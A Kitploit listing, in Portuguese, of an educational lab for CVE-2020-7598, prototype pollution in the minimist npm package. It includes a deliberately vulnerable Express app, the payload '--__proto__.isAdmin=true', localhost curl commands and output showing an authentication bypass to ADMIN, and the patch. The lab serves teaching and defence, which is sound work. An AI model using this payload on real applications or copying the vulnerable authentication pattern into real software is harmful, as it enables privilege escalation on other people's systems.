Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-7598 — Laboratório educacional demonstrando poluição de protótipo CVE-2020-7598 no minimist com um aplicativo Node.js/Express vulnerável, payload de exploração e passo a passo de bypass de autenticação para pesquisa de segurança. | Kitploit
Ferramentas/GitHubGitHub/renewablehacking/cve-2020-7598
Análise EstáticaAnálise de VulnerabilidadesAnálise de CódigoExploração de Aplicações WebAprendizado e EducaçãoLabs e Prática
GitHubrenewablehacking/cve-2020-7598

CVE-2020-7598

Laboratório educacional demonstrando poluição de protótipo CVE-2020-7598 no minimist com um aplicativo Node.js/Express vulnerável, payload de exploração e passo a passo de bypass de autenticação para pesquisa de segurança.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 2 mesesAinda não revisado

CVE-2020-7598 - Prototype Pollution in minimist

Aviso Legal

Este projeto foi criado apenas para:

  • aprendizado,
  • pesquisa de segurança,
  • e laboratório local privado.

Não use em sistemas sem permissão.


Sobre a CVE

CVE-2020-7598 é uma vulnerabilidade de Prototype Pollution no pacote npm:

  • minimist
  • versões vulneráveis:
    • < 0.2.1
    • >= 1.0.0 < 1.2.3

Essa vulnerabilidade permite que um atacante modifique:

root@kitploit:~
Object.prototype

através de payloads como:

root@kitploit:~
--__proto__.isAdmin=true

Como consequência:

  • todos os objetos JavaScript podem herdar propriedades maliciosas,
  • bypass de autenticação,
  • escalonamento de privilégios,
  • até cadeia que leva a RCE em condições específicas.

Como Funciona o Prototype Pollution

Em JavaScript:

root@kitploit:~
const user = {};

um objeto vazio ainda herda propriedades de:

root@kitploit:~
Object.prototype

Se um atacante conseguir fazer:

root@kitploit:~
Object.prototype.isAdmin = true;

então:

root@kitploit:~
({}).isAdmin

resultará em:

root@kitploit:~
true

para todos os objetos comuns.


Ambiente de Laboratório

Dependências

  • Node.js
  • Express
  • [email protected]

Instalação

1. Clonar o Repositório

root@kitploit:~
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598

2. Instalar Dependências

root@kitploit:~
npm install

OU manualmente:

root@kitploit:~
npm install express [email protected]

Código Fonte

Crie o arquivo:

root@kitploit:~
app.js

Conteúdo:

root@kitploit:~
const express = require("express");
const minimist = require("minimist");

const app = express();

/*
 Simulação de banco de dados de usuários
*/
const users = [
  {
    username: "zen",
    password: "123"
  }
];

/*
 Endpoint vulnerável
*/
app.get("/parse", (req, res) => {

    /*
      Pega a query bruta
    */
    const payload = req.query.payload;

    /*
      Converte para array de argumentos de CLI
    */
    const args = payload.split(" ");

    console.log("ARGS:", args);

    /*
      Parsing vulnerável
    */
    minimist(args);

    console.log("GLOBAL isAdmin:", {}.isAdmin);

    res.send("Arguments parsed");
});

/*
 Endpoint de login
*/
app.post("/login", express.json(), (req, res) => {

    const { username, password } = req.body;

    const user = users.find(
        u =>
          u.username === username &&
          u.password === password
    );

    if(!user){
        return res.json({
            success: false
        });
    }

    console.log("Own property:", user.hasOwnProperty("isAdmin"));
    console.log("user.isAdmin:", user.isAdmin);

    /*
      Lógica de autenticação vulnerável
    */
    if(user.isAdmin){
        return res.json({
            success: true,
            role: "ADMIN"
        });
    }

    res.json({
        success: true,
        role: "USER"
    });

});

app.listen(3000, () => {
    console.log("Server running on port 3000");
});

Executar o Servidor

root@kitploit:~
node app.js

Saída:

root@kitploit:~
Server running on port 3000

Teste Normal

Login Normal

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

Saída:

root@kitploit:~
{
  "success": true,
  "role": "USER"
}

Exploração do CVE-2020-7598

Payload de Prototype Pollution

Abra o navegador:

root@kitploit:~
http://localhost:3000/parse?payload=--__proto__.isAdmin=true

OU use curl:

root@kitploit:~
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"

Resultado da Exploração

Terminal do servidor:

root@kitploit:~
GLOBAL isAdmin: true

Isso significa que:

root@kitploit:~
Object.prototype.isAdmin = true

foi modificado com sucesso.


Login Após a Exploração

root@kitploit:~
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'

Saída:

root@kitploit:~
{
  "success": true,
  "role": "ADMIN"
}

Apesar de:

  • o banco de dados não ter sido alterado,
  • o código fonte não ter sido alterado,
  • o usuário não possuir a propriedade isAdmin.

Por Que se Torna ADMIN?

O código a seguir:

root@kitploit:~
if(user.isAdmin)

não verifica apenas uma propriedade diretamente do objeto.

O JavaScript irá procurar:

  1. a propriedade do objeto,
  2. depois na cadeia de protótipos (prototype chain).

Como o atacante conseguiu modificar:

root@kitploit:~
Object.prototype.isAdmin = true

todos os objetos comuns herdam essa propriedade.


Evidência do Prototype Pollution

Log do servidor:

root@kitploit:~
Own property: false
user.isAdmin: true

Isso significa:

  • isAdmin não é uma propriedade original do usuário,
  • mas foi herdada do protótipo global.

Correção (Patch)

Versão segura do minimist:

root@kitploit:~
npm install minimist@latest

A versão corrigida bloqueia:

  • __proto__
  • constructor
  • prototype

impedindo que o Prototype Pollution funcione.


Referências

  • CVE: CVE-2020-7598
  • Pacote: minimist
  • CWE: CWE-1321 Prototype Pollution

Autor

Laboratório e documentação criados para fins de aprendizado sobre segurança de aplicações Node.js e pesquisa de Prototype Pollution.

Baixar ferramenta